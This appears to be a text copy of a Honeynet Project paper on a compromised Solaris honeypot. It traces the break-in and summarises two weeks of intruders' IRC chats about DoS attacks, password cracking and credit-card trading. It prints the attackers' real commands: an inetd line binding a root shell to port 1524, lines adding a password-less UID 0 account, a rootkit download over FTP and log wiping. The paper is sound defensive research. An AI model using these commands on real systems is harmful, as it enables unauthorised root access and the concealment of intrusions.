actions

actions



This bot, configured and implemented by the black-hat, captured all their conversations on an IRC channel. We
monitored these conversations over a two week period, all of which are contained here. This paper is not meant
to be a generalization of the black-hat community. Instead, we present a specific incident involving several
individuals. However, this should give you an idea of how certain members can think and behave. This is a
common threat that we all face in the security community, and we sincerely hope other security professionals
benefit from this work.
This information was obtained through the use of a honeynet. A honeynet is a network of various honeypots,
designed to be compromised by the black-hat community. While some honeypots are used to divert the attention
of attackers from legitimate systems, the purpose of a honeynet is to learn the tools and tactics of the black-hat
community. Most of the information provided in this document has been sanitized. Specifically, user identities and
passwords, credit card numbers, and most of the system names involved have all been changed. However, the
actual technical tools and the chat sessions themselves have not been sanitized. All this information was
forwarded to both CERT and the FBI before being released. Also, over 370 notifications were sent out to
administrators of systems we believed were compromised.
Foreword, by Brad Powell
Part I: The Compromise
A Solaris 2.6 default installation was used for our honeypot. No modifications or patches were installed
on the system. The vulnerabilities discussed here exist in any default, unpatched installation of Solaris
2.6. That is the whole purpose of the honeynet, to identify vulnerabilities in production systems and
learn how they are exploited. When exploited, we can then learn the tools and tactics of the black-hat
community. The honeynet itself is an environment designed to track the black-hat's every move.
On June 4, 2000 our Solaris 2.6 honeypot was compromised with the rpc.ttdbserv Solaris exploit, which
allows the execution of code via a buffer overflow in the ToolTalk object database server (CVE-1999-
0003). Note that this exploit is also listed as #3 in SANS Top Ten List. This attack was both detected
and alerted by snort, a sniffer based IDS system.
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill:
192.168.78.12:877 -> 172.16.1.107:32775
The rpc.ttdbserv exploit is a buffer overflow attack that allows the remote user to execute commands on
the system as root. The following command was executed, giving the black-hat a backdoor. The service
ingreslock (predefined in /etc/services as port 1524) is added to a file called '/tmp/bob', and then inetd is

executed with '/tmp/bob' as the configuration file. /bin/sh is then bound to port 1524 and is running as
root, giving the remote user root access.
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i'
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
Once the black-hat created this backdoor, he connected to port 1524, accessed a shell as root, and
executed the following commands. He creates two user accounts, so he can telnet back in. Notice the
errors and control characters, the shell on port 1524 does not have a proper environment.
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides console May 24 21:09
^M: not found
# exit;
Our black-hat now has two accounts on our compromised system. He can now telnet it as the user 're',
then su to the user 'r', which has UID 0, thus gaining root access. We will now review the actual
keystrokes of the black-hat as they do just that, and more.
!"' !"P#$#$'LINUX'
SunOS 5.6
login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ su r
Our black-hat now has root access. As common, the next step is retrieve the rootkit and take control of
the system . First, we see the black-hat create a 'hidden' directory to hide the rootkit.
# mkdir /dev/".. "
# cd /dev/".. "
After creating the directory, the black-hat retrieves the rootkit from another system.
Page 2 of 9 Know Your Enemy
4/6/2004 file://E:\honeynet_papers\motives\index.html
# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
Once the rootkit is successfully downloaded, the kit is untared and installed. Notice how the entire
rootkit is installed by executing a single script, setup.sh. This script also calls another script, secure.sh.
You can download the entire Solaris rootkit used in this attack here.
# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks

x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)
Here the rootkit installation script first cleans out the log files to delete the information associated with
the black-hat's activities.
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun 4 11:47:39 2000
/usr/adm/utmp is Sun Jun 4 11:47:39 2000
/etc/utmp is Sun Jun 4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:

/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun 4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun 4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found
After cleaning the log files, the next step is to secure our system (how nice of them). They know we are
an easy kill and they do not want anyone else to ruin their compromised system.
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
207 ? 0:00 inetd
11467 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
Next, an IRC proxy is launched. What is bizarre is that later on the script kills this process. I have no
idea why.
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
l
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULTProcess
Id.......:11599
Exit ./sys222{7} :Successfully went into the background.
More file modifications are done. Not seen from the script output are the copying of Trojan binaries,
including /bin/login, /bin/ls, /usr/sbin/netstat, and /bin/ps. I highly recommend you review the source of
the setup.sh script and the secure.sh script to see what actually happens. One day you may have to
review a system that has been rooted with a similar kit.
# kill -9 11467
# ps -u root |grep |grep inetd inetd
207 ? 0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
[ -u userlist ] [ -U userlist ] [ -G grouplist ]
[ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
'format' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb
Last, our black-hat launches an IRC bot. The purpose of this bot is to ensure they will maintain ops on
the IRC channel of their choice. This bot also recorded all their conversations on the IRC channel. It is
this bot that they installed on our compromised system that relayed their IRC chats on our network.
# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech

Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit
Once the bot was in place, they left the system alone. It is this bot that captured all of their conversations
(see Part II below). For more information on IRC and how the black-hat community uses IRC and bots,
we highly recommend the paper Tracking Hackers on IRC by David Brumley. Over the course of the
following week they returned several times, only to confirm that they still had access. One week later,
on 11 June, they connected again and attempted to use the system for Denial of Service attacks.
However, the honeynet is designed to block any attempt to use a honeypot as a base of an attack against
outside systems. All attempts to use the honeypot for a Denial of Service attack were automatically
blocked.
What we have witnessed here are commonly used tools and tactics of the black-hat community. Our
black-hat randomly scanned the Internet for a known vulnerability (in this case rpc.ttdbserv). Once
identified, they quickly compromised the system and installed a rootkit using commonly scripted tools.
Once they had control, they installed a bot, most likely to ensure they would maintain 'ops' on the IRC
channels of their choice. What is uncommon are the two weeks of IRC chat sessions that their bot
captured for us. In the next part of this paper, we discover the motivations and psychology of the blackhat
community, in their own words. If you are concerned that your system(s) may have been
compromised by similar means, review this checklist. It covers what to check for and links on how to
react to a system compromise.
Part II: The IRC Chat Sessions
Below are the actual chat sessions of the black-hat community, specifically two individuals whom we
will call D1ck and J4n3. Most of their chats will happen on the IRC channel we will call K1dd13. You
will read the activities of these two main characters, and a variety of others. The chat sessions are
broken down by days, listed below. We recommend you read them in sequence, so you can better
understand what is going on. IRC channels, IRC nicks, system names and IP addresses have been
sanitized. All system IP addresses have been replaced with RFC 1918 address space, all system domain
names have been replaced with 'example', and all credit card numbers have been placed by 'xxxx'. Any
similarities the IRC channels or IRC nicks may have with the real world are purely coincidental. Be
advised, some of the language used is abusive in nature, we have chosen not to sanitize this. Also,
sometimes several of the black-hats will speak foreign languages. Where possible, we have translated
this into English. As you read these chat sessions, take into consideration their lack of skill and
networking knowledge. Often you will see them attempting to figure out the most fundamental of Unix
skills. And yet, they are still able to compromise or damage a large number of systems. This is not a
threat to take lightly.

Day 1, June 04
Our chat sessions begin with the discussion of building an exploit archive and the sharing of
exploits to be used against potential targets.

Day 2, June 05

Today D1ck and J4n3 share exploits and Denial of Service attacks. Notice how they brag about
how many blists (broadcast amplifier networks) they have for the attacks. Looks like one of them
is gunning for Linux boxes in .edu land. They also discussed using new rootkits for Linux and
sparc.

Day 3, June 06
D1ck and J4n3 brag about the systems they have launched Denial of Service attacks against. Later
on D1ck teaches J4n3 how to mount a drive. Then they discuss sniffit (how to use it) and last,
D1ck desperately looks for an Irix exploit and rootkit.

Day 4, June 07
D1ck and J4n3 decided they want to take out India with Denial of Service attacks and bind
exploits. Later on, they DoS other IRC members who irritate them.

Day 5, June 08
D1ck asks J4n3 to take out three systems for him. D1ck and his elite buddy Sp07 try to figure out
how a sniffer works "umm doesnt it have to be the same network?".

Day 6, June 09
Our wonder team has been busy, looks like D1ck rooted over 40 systems. If they scan enough
systems, they can and will gain root.

Day 7, June 10
Not an exciting day. D1ck teaches a new k1dd13 how to use the sadmind exploit. We are not sure
if D1ck even knows how to use it himself.

Day 8, June 11
D1ck and J4n3 discuss systems they own and people they want to DoS. D1ck discovers Ping of
Death and thinks he is very k3wl.

Day 9, June 12
Looks like D1ck strikes it big, he finds an ISP and gains access to their billing and over 5,000 user
accounts. Now they have to figure out how to crack them.

Day 10, June 13
Sp07 joins the gang today. Not the friendliest individual for the Internet community. Seems to
have taken a wee bit of a dislike to India also.

Day 11, June 14
They start cracking user passwords and access personal accounts.

Day 12, June 15 Also with Romanian Translated
D1ck and J4n3 try to find credit card numbers on a Credit Card channel so they can buy some
domain names.

Day 13, June 16 Also with Romanian Translated
D1ck and J4n3 still hangout on the Credit Card channel. Members swap credit cards, shell
accounts, and porn sites. At the end of the chat session, D1ck and J4n3 focus on their website.

Day 14, June 17 Also with Romanian Translated

D1ck and J4n3 cover how to gain accounts on a Linux box, talk more about Credit Cards and
continue building a website.
We have just reviewed 14 days in the life of the black-hat community. This is not meant to imply that all
black-hats think and act like this. In fact, we have focused only on a few specific individuals. However,
we hope this information gives you an idea of what many of the community are capable of. They may
not be technically competent, or even understand the tools they are using. However by focusing on a
large number of systems, they can achieve dramatic results. This is not a threat to take lightly. They are
not concerned about what harm they may cause. They focus only on achieving their goals.


hosted by : a lonely israeli mossad agent .